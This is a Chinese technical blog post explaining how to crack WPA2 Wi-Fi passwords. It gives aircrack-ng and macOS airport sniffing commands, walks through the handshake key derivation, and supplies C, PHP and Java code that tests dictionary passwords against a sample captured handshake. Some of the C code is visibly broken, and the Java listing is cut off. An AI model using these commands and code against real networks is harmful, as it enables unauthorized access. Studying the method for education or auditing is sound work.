喜好

喜好检索

生活 蔬菜

蔬菜大全

思考

见闻与录

BT技术

BT蓝牙技术

标签

无线网络WPA2加密的破解 2022年09月13日

    简介

    无线网络WPA2加密的破解

    MacOS_Sniff抓取

    aircrack-ng 抓 sniffLog 破解WIFI的WEP/WPA/WPA2密码的主流工具

    1.使用 airport -s 查看周围wifi信息

    Aircrack-ng是一套套件包含的工具可用于捕获数据包、握手验证。可用来进行暴力破解和字典攻击。
    Aircrack-ng 攻击 主要是拿到握手包,用字典破解握手包
    
    作用领域:
    监控:数据包捕获并将数据导出到文本文件以供第三方工具进一步处理。
    攻击:通过数据包注入重播攻击,解除身份验证,假接入点和其他攻击点。
    测试:检查WiFi卡和驱动程序功能(捕获和注入)。
    破解:WEP和WPA PSK(WPA 1和2) 
    
    
    使用:
    // 1.使用该命令 查看周围wifi网络的 SSID热点名 BSSID热点唯一Mac标识            
    //   RSSI信号强度  CHANNEL信道  HT CC SECURITY加密方式 (auth/unicast/group)
    【配置airport 链接到 bin 使得 shell中能找到】
    sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
    
    airport -s       ##  打印出周围的wifi 信息
    
     
    
     周围的wifi 信息 列表 
    /Users/xxxx/Desktop/$airport -s
    
                                SSID BSSID    RSSI CHANNEL【信道id】   HT  CC   SECURITY (auth/unicast/group)
                           CMCC_2.4G          -14  1                  Y   --   RSN(PSK/AES/AES)
                             CMCC_5G          -27  36                 Y   --   RSN(PSK/AES/AES)
        DIRECT-LGYUEKAI2-F2457ZRms9B          -55  1                  Y   --   RSN(PSK/AES/AES)
        DIRECT-OTFANGZHENG4-MKSPxCCZ          -53  6                  Y   --   RSN(PSK/AES/AES)
                            bsptest2          -46  1,+1               Y   --   WPA(PSK/AES/AES) RSN(PSK/AES/AES)
    

    检测网络信息

    2.使用 ifconfig查看当前 有效网卡名称

    //    ifconfig | grep en 【最长那个 enX 就是当前网卡名称 】
    
    
    //2. en0表示当前的网卡名 ifconfig 命令查看 6表示当前探测的网络工作的信道channel
    //    ifconfig | grep en 【最长那个 enX 就是当前网卡名称 】
    

    3. 执行airport en0 sniff 6 抓取Sniff

    // 该命令开始执行抓取在该信道传输的WIFI帧   Ctrl + C 结束该过程
    //会生成 /tmp/airportsniffXXX.cap(或者/private/tmp/airportsniffXXX.cap) 捕获帧文件
    airport en0 sniff 6 
    
    
    // 3.复制该文件到 zidian.txt(里面包含穷举的密码)统一文件夹下 改名为 1.cap 并在shell界面cd到该目录  执行查找握手帧的过程
    aircrack-ng -w zidian.txt 1.cap 进行密码的破解
    
    

    选择捕获帧中显示(1 handshake)的帧

    4.使用 aircrack-ng -w zidian.txt 1.cap 破解密码

    .复制该文件到 zidian.txt(里面包含穷举的密码)统一文件夹下 改名为 1.cap 并在shell界面cd到该目录  执行查找握手帧的过程
    aircrack-ng -w zidian.txt 1.cap
    
    aircrack-ng -w zidian.txt 1.cap
    
    //4.在出现的帧编号中 查找一个描述为 WPA( 1 handshake ) 的帧 , 并输入该帧对应的 帧编号开始解析
    //等待字典.txt中所有的Item进行破解,如果字典.txt存在密码就会破解成功,若不存在则需要更换破解字典.txt文件 
    
    
    

    字典中未包含枚举密码解析失败

    字典中包含密码解析成功

    无线网络WPA2加密的破解

    终于等到了这一天!平时学习任务繁重,没太多时间倒腾自己想弄的东西。最近终于抽出了3天,专攻了一下WPA2的加密方式,并且自己用php和C写出了代码。

    在此首先感谢Sword York在slinuxer上发表的文章《WPA/WPA2-PSK认证过程》,如果没有他的python代码演示,我真不知道要如何下手。

    阶段一:WPA2破解原理

    WPA2相比WEP破解难度增加了很多,一个关键原因就是,WPA2的每次会话所使用的密钥都不相同,即每次会话都会随机生成一个临时密钥以加密数据。而这个临时密钥,则是在客户端连接上热点时,双方协商产生。因此,只有捕获了WPA2认证时的四次握手(我发现其实只需要前两次握手),才能破解密码。而破解密码只能使用穷举字典攻击,即每次试验一个可能的密码,然后按照WPA2的认证流程来产生哈希值,如果与握手包中的一致,那么极有可能就是正确的密码了。

    因此,破解WPA2的关键就是两点——握手包、字典。

    阶段二:WPA2认证过程

    为了下述方便,下文中接入点就写作AP,工作站就写作STA。并假设下文所描述的认证过程是AP与一个合法的STA之间进行的。而且出于一定的功利性,下文只讲述破解所需的前两次握手。

    WPA2的认证过程是发生在Authentication与Association之后的。在四次握手开始之前,AP与一个合法的STA都已经知道了SSID和各自的MAC地址(AP的MAC地址记作AP_MAC,STA的MAC地址记作STA_MAC)。

    1、在第一次握手之前:

    AP与STA都知道wifi密码password、SSID,因此,通过算法

    psk=pbkdf2_sha1(password,ssid,4096,32);
    
    

    可以计算得到psk。其中password就是pbkdf2_sha1算法的密钥,ssid就是“盐(salt)”,4096是802.11规范规定的迭代次数,而32表示生成的psk是一个32字节的数据。pbkdf2_sha1算法可以参考《pbkdf2-shaX摘要算法以及C语言实现》

    之后,AP随机生成一个32字节的随机数,叫做AP_Nonce。

    2、第一次握手:

    AP向STA发送一个数据帧,包含了AP_Nonce。

    3、在第一次握手与第二次握手之间:

    STA收到AP_Nonce之后,也随机生成一个32字节的随机数,叫做STA_Nonce。此时STA同时知道了AP_MAC、STA_MAC、AP_Nonce和STA_Nonce四个要素,于是通过算法

    ptk_data="Pairwise key expansion\0"
              +min(AP_MAC,STA_MAC)
              +max(AP_MAC,STA_MAC)
              +min(AP_Nonce,STA_Nonce)
              +max(AP_Nonce,STA_Nonce)
              +"\0";
    ptk=hmac_sha1(ptk_data,psk,16);
    
    

    得到ptk。算法中,+号表示将数据段串联,min(a,b)表示a和b两端数据按字节比较,取小的那个,max(a,b)反之。因此ptk_data的长度是strlen(“Pairwise key expansion\0”)+26+232+1=23+12+64+1=100字节。

    然后,把之前得到的psk当作密钥,对数据ptk_data进行hmac_sha1加密,得到一个长度为16字节的结果ptk。

    再接下来,STA构造好要发送给AP的数据帧,把其中的数据负载部分(802.1X Authentication)取出,记作step2_data(step2_data共121字节),然后执行算法:

    mic=hmac_sha1(step2_data,ptk,16);
    

    第二次握手:

    STA向AP发送一个数据帧,包含了一个关键数据STA_Nonce与mic。

    于是,握手的前两次就算完成了。其实AP在收到第二次握手后,也以相同的算法计算mic,如果和客户端传来的相等,那么认为客户端有正确的密码。

    阶段三:破解思路

    [原始博客资源url|https://zhou-yuxin.github.io/articles/2016/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9CWPA2%E5%8A%A0%E5%AF%86%E7%9A%84%E7%A0%B4%E8%A7%A3/index.html ]

    https://zhou-yuxin.github.io/articles/2016/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9CWPA2%E5%8A%A0%E5%AF%86%E7%9A%84%E7%A0%B4%E8%A7%A3/index.html

    由以上步骤可以得到破解思路如下:

    1、抓包,得到前两次握手包,进而得到SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data与mic。

    2、选定一个可能的密码password,执行下列算法:

    psk=pbkdf2_sha1(password,SSID,4096,32);
    ptk_data="Pairwise key expansion\0"
              +min(AP_MAC,STA_MAC)
              +max(AP_MAC,STA_MAC)
              +min(AP_Nonce,STA_Nonce)
              +max(AP_Nonce,STA_Nonce)
              +"\0";
    ptk=hmac_sha1(ptk_data,psk,16);
    mic=hmac_sha1(step2_data,ptk,16);
    
    

    得到mic,与收集到的mic比较,如果相等,那么password极有可能就是正确的密钥了。

    3、不断迭代步骤2,穷举整个字典,直到搜索到密码或穷尽为止。

    阶段四:破解案例

    该案例来自《WPA/WPA2-PSK认证过程》,再次表示感谢!

    首先是抓到的四次握手数据帧,为了方便大家研究,再此提供下载链接。用wireshark打开以后,可以看到有4个握手包,如图:

    这个热点的SSID是“TP-LINK_4F6C90”,这个无法从握手包中得知,不过要攻击者自己肯定知道。SSID转换成16进制就是:

    54 50 2d 4c 49 4e 4b 5f 34 46 36 43 39 30
    
    

    查看第一个握手包,可以看到如图:

    所以得知AP_Nonce是

    33 20 ce d2 53 5e d6 97 d5 2c 27 2a ee a7 99 d4 d1 88 a4 60 31 42 f3 7a 24 0f 80 64 d7 cd f5 88
    
    

    同时也可以得知AP_MAC为

    20 dc e6 4f 6c 90
    
    

    STA_MAC为

    e0 b9 a5 1f e7 94
    
    

    接着,查看第二个握手包,可以看到如图:

    所以得知STA_Nonce是

    b4 45 5d 0b c4 46 64 5c 59 57 43 4f 65 3a d0 bf a5 9f 6b e1 a2 65 fb f3 3b 7d 54 7b 1b 48 45 34
    
    

    同时,从第二个握手包中还可以得到MIC为

    88 73 42 b8 16 1d f2 30 c8 48 80 cb e9 07 4f f8
    
    

    如图:

    现在就差step2_data了。step2_data就是LLC的负载,如图:

    不过需要注意的是,客户端在计算mic之前,step2_data中mic对应的16字节全是0,所以step2_data应该是:

    01 03 00 75 02 01 0a 00 00 00 00 00 00 00 00 00 01 b4 45 5d 0b c4 46
    64 5c 59 57 43 4f 65 3a d0 bf a5 9f 6b e1 a2 65 fb f3 3b 7d 54 7b 1b
    48 45 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 16 30 14 01 00 00 0f ac 04 01 00 00 0f ac 04 01 00
    00 0f ac 02 00 00
    
    

    至此,所需的SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data与mic都已经到手了。

    阶段五:用C语言实现

    php因为语法简单明晰,用来演示算法不错,但真用来大规模计算,效率不敢恭维。在我机器上,循环1000次,php用时12.6秒,而C用时2.6秒,将近5倍!

    C语言的实现就不解释了,直接给出代码。共fastpbkdf2.h、fastpbkdf2.c、hmac.h、hmac_sha1.c、wpa2break.h、wpa2break.c和main.c七个文件。其中,fastpbkdf2.h和fastpbkdf2.c的源码请参考《pbkdf2-shaX摘要算法以及C语言实现》,而hmac.h、hmac_sha1.c的源码请参考《hmac-sha1摘要算法以及C语言实现》。以下给出wpa2break.h、wpa2break.c和main.c的源码~

    wpa2break.h

    #ifndef WPA2BREAK_H
    #define WPA2BREAK_H
    
    #include <stdint.h>
    
    #define WPA2_SSID_MAX_LEN                   32
    #define WPA2_MAC_LEN                         6
    #define WPA2_NONCE_LEN                      32
    #define WPA2_STEP2_DATA_LEN                121
    
    #define WPA2_MIC_OFFSET                     81
    #define WPA2_PSK_LEN                        32
    #define WPA2_PBKDF2_LOOP                  4096
    #define WPA2_WORD                             "Pairwise key expansion\0"
    #define WPA2_WORD_LEN                       23
    #define WPA2_PTK_LEN                        16
    #define WPA2_PTK_DATA_LEN                     (WPA2_WORD_LEN+2*WPA2_MAC_LEN+2*WPA2_NONCE_LEN+1)
    #define WPA2_MIC_LEN                        16
    
    typedef struct
    {
      uint8_t ssid[WPA2_SSID_MAX_LEN];
      uint8_t ssid_len;
      uint8_t ap_mac[WPA2_MAC_LEN];
      uint8_t sta_mac[WPA2_MAC_LEN];
      uint8_t ap_nonce[WPA2_NONCE_LEN];
      uint8_t sta_nonce[WPA2_NONCE_LEN];
      uint8_t step2_data[WPA2_STEP2_DATA_LEN];
      uint8_t step2_mic[WPA2_MIC_LEN];
      struct
      {
            uint8_t ptk_data[WPA2_PTK_DATA_LEN];
      }
      mid_value;
    }
    wpa2_handshake_t;
    
    void wpa2break_init_mid_value(wpa2_handshake_t* p_handshake);
    int wpa2break_is_password(wpa2_handshake_t* p_handshake,uint8_t* p_password,uint8_t p_len);
    
    #endif
    
    

    wpa2break.c

    #include "wpa2break.h"
    #include "fastpbkdf2.h"
    #include "hmac.h"
    #include <string.h>
    
    #include <stdio.h>
    
    static void mem_min_max(uint8_t** p_min,uint8_t** p_max,uint8_t p_len)
    {
      int t_cmp=memcmp(*p_min,*p_max,p_len);
      if(t_cmp>0)
      {
            uint8_t* p_temp=*p_min;
            *p_min=*p_max;
            *p_max=p_temp;
      }
    }
    
    void wpa2break_init_mid_value(wpa2_handshake_t* p_handshake)
    {
      uint8_t* t_ptk_data=p_handshake->mid_value.ptk_data;
      memcpy(t_ptk_data,WPA2_WORD,WPA2_WORD_LEN);
      uint8_t* t_min=p_handshake->ap_mac;
      uint8_t* t_max=p_handshake->sta_mac;
      mem_min_max(t_min,t_max,WPA2_MAC_LEN);
      memcpy(t_ptk_data+WPA2_WORD_LEN,t_min,WPA2_MAC_LEN);
      memcpy(t_ptk_data+WPA2_WORD_LEN+WPA2_MAC_LEN,t_max,WPA2_MAC_LEN);
      t_min=p_handshake->ap_nonce;
      t_max=p_handshake->sta_nonce;
      mem_min_max(t_min,t_max,WPA2_NONCE_LEN);
      memcpy(t_ptk_data+WPA2_WORD_LEN+2*WPA2_MAC_LEN,t_min,WPA2_NONCE_LEN);
      memcpy(t_ptk_data+WPA2_WORD_LEN+2*WPA2_MAC_LEN+WPA2_NONCE_LEN,t_max,WPA2_NONCE_LEN);
      t_ptk_data[WPA2_PTK_DATA_LEN-1]=0;
      memset(p_handshake->step2_data+WPA2_MIC_OFFSET,0,WPA2_MIC_LEN);
    }
    
    int wpa2break_is_password(wpa2_handshake_t* p_handshake,uint8_t* p_password,uint8_t p_len)
    {
      uint8_t t_psk[WPA2_PSK_LEN];
      fastpbkdf2_hmac_sha1(p_password,p_len,p_handshake->ssid,p_handshake->ssid_len,WPA2_PBKDF2_LOOP,t_psk,WPA2_PSK_LEN);
      uint8_t t_ptk[WPA2_PTK_LEN];
      uint32_t t_ptk_len=WPA2_PTK_LEN;
      hmac_sha1(t_psk,WPA2_PSK_LEN,p_handshake->mid_value.ptk_data,WPA2_PTK_DATA_LEN,t_ptk,t_ptk_len);
      uint8_t t_mic[WPA2_MIC_LEN];
      uint32_t t_mic_len=WPA2_MIC_LEN;
      hmac_sha1(t_ptk,WPA2_PTK_LEN,p_handshake->step2_data,WPA2_STEP2_DATA_LEN,t_mic,t_mic_len);
      return memcmp(p_handshake->step2_mic,t_mic,WPA2_MIC_LEN)==0;
    }
    
    

    main.c

    #include <stdio.h>
    #include <string.h>
    #include "wpa2break.h"
    
    static int hex2dig(char p_hex)
    {
      if('0'<=p_hexp_hex<='9')
            return p_hex-'0';
      if('a'<=p_hexp_hex<='f')
            return p_hex-'a'+10;
      return 0;
    }
    
    static void hex2bin(char* p_hex,uint8_t* p_bin)
    {
      int t_len=strlen(p_hex)/2;
      int t_i;
      for(t_i=0;t_i<t_len;t_i++)
            p_bin[t_i]=hex2dig(p_hex[2*t_i])*16+hex2dig(p_hex[2*t_i+1]);
    }
    
    int main()
    {
      wpa2_handshake_t t_handshake;
      FILE* t_file=fopen("ap1.txt","r");
      char t_buffer[1024];
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.ssid);
      t_handshake.ssid_len=strlen((char*)t_handshake.ssid);
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.ap_mac);
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.sta_mac);
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.ap_nonce);
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.sta_nonce);
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.step2_data);
      fgets(t_buffer,sizeof(t_buffer),t_file);
      hex2bin(t_buffer,t_handshake.step2_mic);
      fclose(t_file);
      wpa2break_init_mid_value(t_handshake);
      printf("%dn",wpa2break_is_password(t_handshake,(uint8_t*)"LINUXZSJ",8));
      return 0;
    }
    
    

    然后是makefile文件:

    main: main.o hmac_sha1.o fastpbkdf2.o wpa2break.o
    gcc main.o hmac_sha1.o fastpbkdf2.o wpa2break.o -lcrypto -o main
    
    main.o: main.c
    gcc -c main.c -o main.o
    
    hmac_sha1.o: hmac_sha1.c
    gcc -c hmac_sha1.c -o hmac_sha1.o
    
    fastpbkdf2.o: fastpbkdf2.c
    gcc -c fastpbkdf2.c -std=c99 -o fastpbkdf2.o
    
    wpa2break.o: wpa2break.c
    gcc -c wpa2break.c -o wpa2break.o
    
    

    并附上main.c中需要使用的ap1.txt文件:

    54502d4c494e4b5f344636433930
    20dce64f6c90
    e0b9a51fe794
    3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588
    b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534
    0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b4845340000000000000000000000000000000000000000000000000000000000000000887342b8161df230c84880cbe9074ff8001630140100000fac040100000fac040100000fac020000
    887342b8161df230c84880cbe9074ff8
    
    
    54502d4c494e4b5f344636433930    ##【1】SSID   肉眼可识别转为字符串二进制 SSID是“TP-LINK_4F6C90”,这个无法从握手包中得知
    20dce64f6c90                    ##【2】AP_MAC  第二个握手包的 Receive_Address
    e0b9a51fe794                    ##【3】STA_MAC 第二个握手包的 Traslate_Address
    3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588  ##【4】 AP_Nonce 第一个握手包(AP发送) WPA_Key_Nonce 32字节
    b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534   ##【5】STA_Nonce 第二个握手包的(STA发送)的WPA_Key_Nonce 32字节
    // 【6】 第二次握手  STA的 step2_data 所有的 802.1X Authentication的总共121个字节
    0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b4845340000000000000000000000000000000000000000000000000000000000000000887342b8161df230c84880cbe9074ff8001630140100000fac040100000fac040100000fac020000    ## 第二次握手  STA的 step2_data 所有的 802.1X Authentication的总共121个字节 
    887342b8161df230c84880cbe9074ff8  ## 【7】第二次握手的 STA发送的 MIC数据 16字节
    
    

    ap1.txt一行表示一个数据,从上到下依次是SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data和MIC。

    PHP实现案例

    让我们用php来写一个验证密码正确与否的函数:

    function is_password($p_handshake,$p_password)
    {
      $t_psk=hash_pbkdf2("sha1",$p_password,$p_handshake["ssid"],4096,32,true);
      $t_ptk_data="Pairwise key expansion\0"
                    .min($p_handshake["ap_mac"],$p_handshake["sta_mac"])
                    .max($p_handshake["ap_mac"],$p_handshake["sta_mac"])
                    .min($p_handshake["ap_nonce"],$p_handshake["sta_nonce"])
                    .max($p_handshake["ap_nonce"],$p_handshake["sta_nonce"])
                    ."\0";
      $t_ptk=hash_hmac("sha1",$t_ptk_data,$t_psk,true);
      $t_mic=hash_hmac("sha1",$p_handshake["step2_data"],substr($t_ptk,0,16),true);
      return substr($t_mic,0,16)==$p_handshake["mic"];
    }
    
    

    以上述的数据为例,使用该函数的代码如下:

    $g_handshake=array();
    $g_handshake["ssid"]=hex2bin("54502d4c494e4b5f344636433930");
    $g_handshake["ap_mac"]=hex2bin("20dce64f6c90");
    $g_handshake["sta_mac"]=hex2bin("e0b9a51fe794");
    $g_handshake["ap_nonce"]=hex2bin("3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588");
    $g_handshake["sta_nonce"]=hex2bin("b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534");
    $g_handshake["step2_data"]=hex2bin("0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000");
    $g_handshake["mic"]=hex2bin("887342b8161df230c84880cbe9074ff8");
    
    function is_password($p_handshake,$p_password)
    {
      $t_psk=hash_pbkdf2("sha1",$p_password,$p_handshake["ssid"],4096,32,true);
      $t_ptk_data="Pairwise key expansion\0"
                    .min($p_handshake["ap_mac"],$p_handshake["sta_mac"])
                    .max($p_handshake["ap_mac"],$p_handshake["sta_mac"])
                    .min($p_handshake["ap_nonce"],$p_handshake["sta_nonce"])
                    .max($p_handshake["ap_nonce"],$p_handshake["sta_nonce"])
                    ."\0";
      $t_ptk=hash_hmac("sha1",$t_ptk_data,$t_psk,true);
      $t_mic=hash_hmac("sha1",$p_handshake["step2_data"],substr($t_ptk,0,16),true);
      return substr($t_mic,0,16)==$p_handshake["mic"];
    }
    
    $g_password="LINUXZSJ";
    echo is_password($g_handshake,$g_password);
    
    

    程序输出1,说明”LINUXZSJ”是该AP的密码。

    Java 实现案例

    Java 实现版本

    WPA2_PWD_Crack.java

    
    import javax.crypto.SecretKeyFactory;
    import javax.crypto.spec.PBEKeySpec;
    
    
    import java.math.BigInteger;
    import java.security.NoSuchAlgorithmException;
    import java.security.SecureRandom;
    import java.security.spec.InvalidKeySpecException;
    import java.security.spec.KeySpec;
    import java.util.Arrays;
    import java.nio.ByteBuffer;
    import java.nio.CharBuffer;
    import java.nio.charset.Charset;
    
    import javax.crypto.Mac;
    import javax.crypto.spec.SecretKeySpec;
    import java.io.UnsupportedEncodingException;
    import java.security.InvalidKeyException;
    import java.security.Key;
    import java.security.MessageDigest;
    import java.security.NoSuchAlgorithmException;
    
    public class WPA2_PWD_Crack {
    
    	// hex2bin 把 字符串转为 无符号 uint8_t ssid[WPA2_SSID_MAX_LEN]; 8 字节数组
    
    	public static void main(String[] args) {
    		String password_temp = "LINUXZSJ";
    		String ssid_hexstr = "54502d4c494e4b5f344636433930";
    		String ap_mac_hexstr = "20dce64f6c90";
    		String sta_mac_hexstr = "e0b9a51fe794";
    		String ap_nonce_hexstr = "3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588";
    		String sta_nonce_hexstr = "b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534";
    		String step2_data_hexstr = "0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000";
    		String mic_hexstr = "887342b8161df230c84880cbe9074ff8";
    
    		byte[] ssid_bytes = HexStrToBytes("54502d4c494e4b5f344636433930");
    		byte[] ap_mac_bytes = HexStrToBytes("20dce64f6c90");
    		byte[] sta_mac_bytes = HexStrToBytes("e0b9a51fe794");
    		byte[] ap_nonce_bytes = HexStrToBytes("3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588");
    		byte[] sta_nonce_bytes = HexStrToBytes("b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534");
    		byte[] step2_data_bytes = HexStrToBytes(
    				"0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000");
    		byte[] mic_bytes = HexStrToBytes("887342b8161df230c84880cbe9074ff8");
    
    		byte[] min_mac_bytes = Min_Byte(sta_mac_bytes, ap_mac_bytes);
    		byte[] max_mac_bytes = Max_Byte(sta_mac_bytes, ap_mac_bytes);
    		byte[] min_nonce_bytes = Min_Byte(ap_nonce_bytes, sta_nonce_bytes);
    		byte[] max_nonce_bytes = Max_Byte(ap_nonce_bytes, sta_nonce_bytes);
    
    		System.out.println("password          ="+password_temp);
    		System.out.println("ssid_hexstr       ="+ssid_hexstr);
    		System.out.println("ap_mac_hexstr     ="+ap_mac_hexstr);
    		System.out.println("sta_mac_hexstr    ="+sta_mac_hexstr);
    		System.out.println("ap_nonce_hexstr   ="+ap_nonce_hexstr);
    		System.out.println("sta_nonce_hexstr  ="+sta_nonce_hexstr);
    		System.out.println("step2_data_hexstr ="+step2_data_hexstr);
    		System.out.println("mic_hexstr        ="+mic_hexstr);
    
    		System.out.println();
    		String ssid_name = String.valueOf(getChars((ssid_bytes)));
    		System.out.println("      ssid_name.length=" + ssid_name.length() + "            ssid_bytes  = "+ Arrays.toString(ssid_bytes)+"  ssid_name=" + ssid_name );
    		System.out.println("   ap_mac_bytes.length=" + ap_mac_bytes.length+ "           ap_mac_bytes  = " + Arrays.toString(ap_mac_bytes));
    		System.out.println("  sta_mac_bytes.length=" + sta_mac_bytes.length+ "          sta_mac_bytes  = "+ Arrays.toString(sta_mac_bytes));
    		System.out.println("  ap_nonce_bytes.length=" + ap_nonce_bytes.length+ "       ap_nonce_bytes  = "+ Arrays.toString(ap_nonce_bytes));
    		System.out.println("step2_data_bytes.length=" + step2_data_bytes.length+ "    step2_data_bytes  = "+ Arrays.toString(sta_nonce_bytes));
    		System.out.println("       mic_bytes.length=" + mic_bytes.length+ "            mic_bytes  = "+ Arrays.toString(mic_bytes));
    
    		System.out.println();
    
    		String ptk_data_100bytes_str = "Pairwise key expansion\0"
    				+ String.valueOf(getChars(HexStrToBytes(ap_mac_hexstr)))
    				+ String.valueOf(getChars(HexStrToBytes(sta_mac_hexstr)))
    				+ String.valueOf(getChars(HexStrToBytes(sta_nonce_hexstr)))
    				+ String.valueOf(getChars(HexStrToBytes(ap_nonce_hexstr))) + "\0";
    
    		System.out.println();
    		System.out.println("═════════════ ptk_data_100bytes_str 错误解析方式 begin ═════════════ ");
    		System.out.println("ptk_data_100bytes_str = 【" + ptk_data_100bytes_str + "】");
    		System.out.println("ptk_data_100bytes_str.length = " + ptk_data_100bytes_str.length());
    		System.out.println("ptk_data_100bytes_str.getBytes().length=" + ptk_data_100bytes_str.getBytes().length);
    		System.out.println("ptk_data_100bytes_str.getBytes()=" + Arrays.toString(ptk_data_100bytes_str.getBytes()));
    		System.out.println("═════════════ ptk_data_100bytes_str 错误解析方式 end ═════════════");
    
    		int ptk_data_bytes_length = "Pairwise key expansion\0".getBytes().length + HexStrToBytes(ap_mac_hexstr).length
    				+ HexStrToBytes(sta_mac_hexstr).length + HexStrToBytes(sta_nonce_hexstr).length
    				+ HexStrToBytes(ap_nonce_hexstr).length + 1;
    
    		try {
    
    			byte[] ap_sta_mac_nonce_100bytes = byteConcat_6to1("Pairwise key expansion\0".getBytes("UTF8"),
    					Min_Byte(sta_mac_bytes, ap_mac_bytes), Max_Byte(ap_mac_bytes, sta_mac_bytes),
    					Min_Byte(sta_nonce_bytes, ap_nonce_bytes), Max_Byte(ap_nonce_bytes, sta_nonce_bytes),
    					"\0".getBytes("UTF8"));
    
    
    
    			System.out.println();
    			byte[] pmk_data_32bytes = pbkdf2_sha1(password_temp, ssid_bytes, 4096, 32);
    	
    
    			System.out.println("═════════════ ap_mac sta_mac ap_nonce sta_nonce 组装 begin ═════════════ ");
    			System.out.println("第一部分:");
    			System.out.println("Pairwise key expansion\\0.length=" + "Pairwise key expansion\0".length());
    			System.out.println("Pairwise key expansion\\0.getBytes()="  + Arrays.toString("Pairwise key expansion\0".getBytes("UTF8")));
    
    			System.out.println();
    			System.out.println("第二部分:");
    			System.out.println("  min_mac_bytes.length=" + min_mac_bytes.length+ "      min_mac_bytes  = " + Arrays.toString(min_mac_bytes));
    			System.out.println("  max_mac_bytes.length=" + max_mac_bytes.length+ "      max_mac_bytes  = " + Arrays.toString(max_mac_bytes));
    			System.out.println("min_nonce_bytes.length=" + min_nonce_bytes.length+ "   min_nonce_bytes  = " + Arrays.toString(min_nonce_bytes));
    			System.out.println("max_nonce_bytes.length=" + max_nonce_bytes.length+ "   max_nonce_bytes  = " + Arrays.toString(max_nonce_bytes));
    			System.out.println();
    			System.out.println("第三部分:");
    			System.out.println("\\0.length=" + "\0".length()+"  \\0.getBytes()="+ Arrays.toString("\0".getBytes("UTF8")));
    			
    			System.out.println();
    			System.out.println("ap_sta_mac_nonce_100bytes.length=" + ap_sta_mac_nonce_100bytes.length + "\nap_sta_mac_nonce_100bytes="+ Arrays.toString(ap_sta_mac_nonce_100bytes));
    			System.out.println("═════════════ ap_mac sta_mac ap_nonce sta_nonce 组装 end ═════════════ ");
    			System.out.println();
    			System.out.println("pmk_data_32bytes.length=" + pmk_data_32bytes.length + "   pmk_data_32bytes =  "+ Arrays.toString(pmk_data_32bytes));
    
    			byte[] ptk_data_16bytes = hmac_sha1(ap_sta_mac_nonce_100bytes, pmk_data_32bytes, 16);
    
    			System.out.println("ptk_data_16bytes.length=" + ptk_data_16bytes.length + "   ptk_data_16bytes  = "+ Arrays.toString(ptk_data_16bytes));
    
    			int step2_data_bytes_length = step2_data_bytes.length;
    
    			byte[] step2_data_bytes_fixed = Arrays.copyOf(step2_data_bytes, step2_data_bytes_length);
    			for (int i = 81; i < 97; i++) {
    				step2_data_bytes_fixed[i] = (byte) 0x00;
    			}
    			System.out.println("step2_data_bytes.length=" + step2_data_bytes.length + "  step2_data_bytes  = "+ Arrays.toString(step2_data_bytes));
    
    			System.out.println("step2_data_fixed.length=" + step2_data_bytes_fixed.length + "  step2_data_fixed  = "+ Arrays.toString(step2_data_bytes_fixed));
    
    
    			System.out.println();
    
    
    			byte[] mic_data_bytes = hmac_sha1(step2_data_bytes_fixed, ptk_data_16bytes, 16);
    
    			
    			System.out.println("mic_data_bytes="+bytesToHex(mic_data_bytes)+"  mic_data_bytes.length=" + mic_data_bytes.length +              "                       mic_data_bytes  = "+ Arrays.toString(mic_data_bytes));
    
    			System.out.println("    mic_hexstr="+mic_hexstr.toUpperCase()+  "      mic_hexstr.length=" + HexStrToBytes(mic_hexstr).length	+ "  HexStrToBytes(mic_hexstr).getByte()  = " + Arrays.toString(HexStrToBytes(mic_hexstr)));
    
    
    			if(Arrays.equals(mic_data_bytes, mic_bytes) ) {
    				System.out.println("使用明文密码 "+password_temp+" 暴力破解 Wifi网络("+ssid_name+") 匹配成功!");
    			}
    		} catch (Exception e) {
    			// TODO Auto-generated catch block
    			e.printStackTrace();
    		}
    
    	}
    
    	static byte[] Min_Byte(byte[] mAbytes, byte[] mBbytes) {
    
    		int byteLength = mAbytes.length;
    
    		for (int i = 0; i < byteLength; i++) {
